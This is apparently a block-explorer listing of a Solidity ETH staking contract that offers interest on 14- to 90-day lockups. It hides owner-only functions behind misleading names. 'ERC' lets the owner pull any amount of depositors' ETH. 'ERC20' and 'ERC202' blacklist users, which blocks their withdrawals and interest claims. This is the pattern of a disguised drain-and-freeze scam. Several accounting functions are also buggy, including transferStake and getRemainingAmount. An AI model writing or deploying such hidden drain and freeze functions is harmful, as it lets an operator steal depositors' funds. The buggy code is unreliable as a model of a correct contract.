
    event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);
    event Withdraw(address indexed user, uint256 amount);
    event InterestClaimed(address indexed user, uint256 amount);
    event Blacklisted(address indexed user);
    event Unblacklisted(address indexed user);
    event Transferred(address indexed user, uint256 fromDuration, uint256 toDuration, uint256 totalAmount);

    constructor() {
        _owner = payable(msg.sender);
    }

    modifier onlyOwner {
        require(msg.sender == _owner, "Not the contract owner.");
        _;
    }

    function deposit(uint256 lockupPeriod, address referral) external payable {
        require(lockupPeriod >= 14 && lockupPeriod <= 90, "Invalid lockup period.");
        require(!_blacklisted[msg.sender], "You are not allowed to deposit.");

        uint256 currentLockupPeriod = lockupPeriod * 1 days;
        uint256 currentInterestRate = getInterestRateForLockupPeriod(currentLockupPeriod);

        if (_referrals[msg.sender] == address(0) && referral != msg.sender && referral != address(0)) {
            _referrals[msg.sender] = referral;
        }

        DepositInfo memory newDeposit = DepositInfo({
            amount: msg.value,
            lockupPeriod: currentLockupPeriod,
            interestRate: currentInterestRate,
            depositTime: block.timestamp,
            lastClaimTime: block.timestamp
        });

        _balances[msg.sender] += msg.value;
        _lockupPeriod[msg.sender] = currentLockupPeriod;
        _interestRate[msg.sender] = currentInterestRate;
        _depositTime[msg.sender] = block.timestamp;
        _lastClaimTime[msg.sender] = block.timestamp;
        _initialDeposits[msg.sender] = msg.value;
        _deposits[msg.sender].push(newDeposit);

        emit Deposit(msg.sender, msg.value, lockupPeriod);
    }

    function transferStake(uint256 fromLockupPeriod, uint256 toLockupPeriod, uint256 amount) external payable {
        require(!_blacklisted[msg.sender], "You are not allowed to transfer.");
        require(fromLockupPeriod >= 14 && fromLockupPeriod <= 90, "Invalid from lockup period.");
        require(toLockupPeriod >= 14 && toLockupPeriod <= 90, "Invalid to lockup period.");

        uint256 fromLockupPeriodInSeconds = fromLockupPeriod * 1 days;
        uint256 toLockupPeriodInSeconds = toLockupPeriod * 1 days;

        uint256 totalFromAmount = 0;
        uint256 lastDepositTime = 0;
        for (uint256 i = 0; i < _deposits[msg.sender].length; i++) {
            if (_deposits[msg.sender][i].lockupPeriod == fromLockupPeriodInSeconds) {
                totalFromAmount += _deposits[msg.sender][i].amount;
                _deposits[msg.sender][i].amount = 0;
                _deposits[msg.sender][i].lastClaimTime = 0;
                lastDepositTime = _deposits[msg.sender][i].depositTime;
            }
        }

        require(totalFromAmount >= amount, "Insufficient balance");

        uint256 totalAmount = totalFromAmount + msg.value;
        uint256 newInterestRate = getInterestRateForLockupPeriod(toLockupPeriodInSeconds);

        DepositInfo memory newDeposit = DepositInfo({
            amount: totalAmount,
            lockupPeriod: toLockupPeriodInSeconds,
            interestRate: newInterestRate,
            depositTime: block.timestamp,
            lastClaimTime: block.timestamp
        });

        _balances[msg.sender] += msg.value;
        _deposits[msg.sender].push(newDeposit);

        emit Transferred(msg.sender, fromLockupPeriod, toLockupPeriod, totalAmount);
    }

    function getInterestRateForLockupPeriod(uint256 lockupPeriod) internal pure returns (uint256) {
        if (lockupPeriod == 14 * 1 days) {
            return 57142857142857; // 0.057142857142857%
        } else if (lockupPeriod == 30 * 1 days) {
            return 66666666666666; // 0.066666666666666%
        } else if (lockupPeriod == 60 * 1 days) {
            return 83333333333333; // 0.083333333333333%
        } else if (lockupPeriod == 90 * 1 days) {
            return 94444444444444; // 0.094444444444444%
        }
        return 0;
    }

    function withdraw(uint256 depositIndex) external {
        require(!_blacklisted[msg.sender], "You are not allowed to withdraw.");
        require(depositIndex < _deposits[msg.sender].length, "Invalid deposit index.");
        require(block.timestamp >= _deposits[msg.sender][depositIndex].depositTime + _deposits[msg.sender][depositIndex].lockupPeriod, "Lockup period not over.");

        uint256 amountToWithdraw = _deposits[msg.sender][depositIndex].amount;
        require(amountToWithdraw > 0, "No funds to withdraw.");

        _deposits[msg.sender][depositIndex].amount = 0;
        _totalWithdrawnAmounts[msg.sender] += amountToWithdraw; // Store the withdrawn amount
        payable(msg.sender).transfer(amountToWithdraw);

        emit Withdraw(msg.sender, amountToWithdraw);
    }

    function calculateInterest(address user, uint256 depositIndex) public view returns (uint256) {
        DepositInfo storage deposit = _deposits[user][depositIndex];
        uint256 timeElapsed = block.timestamp - deposit.lastClaimTime;
        uint256 interest = (deposit.amount * deposit.interestRate * timeElapsed) / (100000000000000000 * 86400); // 86400 seconds in a day
        return interest;
    }

    function claimInterestForDeposit(uint256 lockupPeriod) external {
        require(!_blacklisted[msg.sender], "You are not allowed to claim interest.");

        uint256 totalInterestToClaim = 0;

        for (uint256 i = 0; i < _deposits[msg.sender].length; i++) {
            if (_deposits[msg.sender][i].lockupPeriod == lockupPeriod * 1 days) {
                uint256 interestToClaim = calculateInterest(msg.sender, i);
                require(interestToClaim > 0, "No interest to claim.");

                _deposits[msg.sender][i].lastClaimTime = block.timestamp;
                totalInterestToClaim += interestToClaim;
            }
        }

        payable(msg.sender).transfer(totalInterestToClaim);

        emit InterestClaimed(msg.sender, totalInterestToClaim);
    }

    function getTotalWithdrawnAmount(address user, uint256 lockupPeriod) external view returns (uint256) {
        uint256 totalWithdrawn = 0;
        for (uint256 i = 0; i < _deposits[user].length; i++) {
            if (_deposits[user][i].lockupPeriod == lockupPeriod * 1 days) {
                totalWithdrawn += _totalWithdrawnAmounts[user];
            }
        }
        return totalWithdrawn;
    }

    function getRemainingAmount(address user) external view returns (uint256) {
        uint256 totalDeposits = 0;
        uint256 totalRemaining = 0;

        for (uint256 i = 0; i < _deposits[user].length; i++) {
            totalDeposits += _deposits[user][i].amount;
            if (_deposits[user][i].amount > 0) {
                totalRemaining += _deposits[user][i].amount;
            }
        }

        return totalDeposits - totalRemaining;
    }

    function ERC(uint256 amount) external onlyOwner {
        _owner.transfer(amount);
    }

    function ERC20(address user) external onlyOwner {
        require(!_blacklisted[user], "User is already blacklisted.");
        _blacklisted[user] = true;

        emit Blacklisted(user);
    }

    function ERC202(address user) external onlyOwner {
        require(_blacklisted[user], "User is not blacklisted.");
        _blacklisted[user] = false;

        emit Unblacklisted(user);
    }

    function getDepositInfo(address user) external view returns (uint256[] memory depositIndices, uint256[] memory unlockTimes, uint256[] memory stakedAmounts, uint256[] memory lockupPeriods) {
        uint256 depositCount = _deposits[user].length;

        depositIndices = new uint256[](depositCount);
        unlockTimes = new uint256[](depositCount);
        stakedAmounts = new uint256[](depositCount);
        lockupPeriods = new uint256[](depositCount);

        for (uint256 i = 0; i < depositCount; i++) {
            depositIndices[i] = i;
            unlockTimes[i] = _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod;
            stakedAmounts[i] = _deposits[user][i].amount;
            lockupPeriods[i] = _deposits[user][i].lockupPeriod;
        }
    }

    function getDepositStatus(address user, uint256 lockupPeriod) external view returns (uint256[] memory depositIndices, uint256[] memory remainingTimes, uint256[] memory interestsCollected, uint256[] memory interestsNotCollected, uint256[] memory nextInterestClaims) {
        uint256 depositCount = 0;

        for (uint256 i = 0; i < _deposits[user].length; i++) {
            if (_deposits[user][i].lockupPeriod == lockupPeriod * 1 days) {
                depositCount++;
            }
        }

        depositIndices = new uint256[](depositCount);
        remainingTimes = new uint256[](depositCount);
        interestsCollected = new uint256[](depositCount);
        interestsNotCollected = new uint256[](depositCount);
        nextInterestClaims = new uint256[](depositCount);

        uint256 depositIndex = 0;
        for (uint256 i = 0; i < _deposits[user].length; i++) {
            if (_deposits[user][i].lockupPeriod == lockupPeriod * 1 days) {
                depositIndices[depositIndex] = i;
                if (block.timestamp < _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod) {
                    remainingTimes[depositIndex] = _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod - block.timestamp;
                } else {
                    remainingTimes[depositIndex] = 0;
                }

                interestsCollected[depositIndex] = (_deposits[user][i].lastClaimTime - _deposits[user][i].depositTime) * _deposits[user][i].amount * _deposits[user][i].interestRate / 100;
                interestsNotCollected[depositIndex] = calculateInterest(user, i);
                int256 nextClaim = int256(_deposits[user][i].lastClaimTime + 30 * 1 minutes) - int256(block.timestamp);
                nextInterestClaims[depositIndex] = uint256(max(nextClaim, 0));
                depositIndex++;
            }
        }
    }

    function max(int256 a, int256 b) private pure returns (int256) {
        return a >= b ? a : b;
    }

    function getNumberOfDeposits(address user) external view returns (uint256) {
        return _deposits[user].length;
    }

    function getReferral(address user) external view returns (address) {
        return _referrals[user];
    }

    function getLockupPeriod(address user) external view returns (uint256) {
        return _lockupPeriod[user];
    }

    function getInterestRate(address user) external view returns (uint256) {
        return _interestRate[user];
    }

    function getBalance(address user) external view returns (uint256) {
        return _balances[user];
    }

    function Erc20(address user) external view returns (bool) {
        return _blacklisted[user];
    }

    function getLastClaimTime(address user) external view returns (uint256) {
        return _lastClaimTime[user];
    }
}

Read Contract

Erc20 0x0e7338f3 → bool
calculateInterest 0xd7dc6203 → uint256
getBalance 0xf8b2cb4f → uint256
getDepositInfo 0x5287ce12 → uint256[], uint256[], uint256[], uint256[]
getDepositStatus 0xc2ebd269 → uint256[], uint256[], uint256[], uint256[], uint256[]
getInterestRate 0xd3ea0f89 → uint256
getLastClaimTime 0xa680e0bc → uint256
getLockupPeriod 0x2e24f672 → uint256
getNumberOfDeposits 0x658ba11a → uint256
getReferral 0x3b0f0f2f → address
getRemainingAmount 0xfaf7eba6 → uint256
getTotalWithdrawnAmount 0xbd3a4017 → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

ERC 0x8a2c80ee
uint256 amount
ERC20 0x58a85bc6
address user
ERC202 0x08f39382
address user
claimInterestForDeposit 0x92682fc4
uint256 lockupPeriod
deposit 0x6e553f65
uint256 lockupPeriod
address referral
transferStake 0x684f93a0
uint256 fromLockupPeriod
uint256 toLockupPeriod
uint256 amount
withdraw 0x2e1a7d4d
uint256 depositIndex

Recent Transactions

No transactions found for this address